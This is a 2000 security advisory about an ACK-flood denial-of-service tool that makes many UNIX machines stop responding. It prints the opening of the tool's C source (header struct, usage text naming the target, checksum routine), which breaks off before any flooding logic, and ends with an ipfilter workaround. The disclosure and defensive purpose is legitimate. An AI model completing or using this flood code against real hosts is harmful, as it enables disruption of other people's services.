New DoS attack tool released (stream.c, raped.c, ACK)
21 Jan. 2000
Summary
A new attack tool has been released, and although it merely floods the host with ACK's coming from random IPs with random sequence numbers, it has been discovered to cause many types of UNIX machine to stop responding. The ACK itself isn't too much of a problem, but the rate of incoming ACKs should be limited (the same idea as ICMP_BANDLIM).
Credit:
The information was provided by: Tim Yardley.
Two exploit codes have been attached, both exploit the same vulnerability, but they do it differently, having different effects on different hosts.
-- start raped.c --
/*
* raped.c by Liquid Steel [lst @ efnet -- yardley@uiuc.edu]
* src: this is the old hose.c by prym, modified to suit my purposes
* exploits: the stream.c "problem", not.. i did not have the stream.c source when this was written
* this is just a reverse engineer based on discussion and tcp patches released.
* compile: this is a 5 minute hack, and a 30 minute test prog, treat it as such
* side note, this is obviously only for linux due to the header format.
*/
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long saddr, daddr; /* source and dest address */
};
void usage(char *progname)
{
fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n", progname);
fprintf(stderr, " dstaddr - the target we are trying to attack.\n");
fprintf(stderr, " dstport - the port of the target, 0 = random.\n");
fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n");
exit(1);
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
Workaround:
If you use ipfilter add the following rule:
-- start rule set --
block in quick proto tcp from any to any head 100
pass in quick proto tcp from any to any flags S keep state group 100
pass in all
-- end rule set --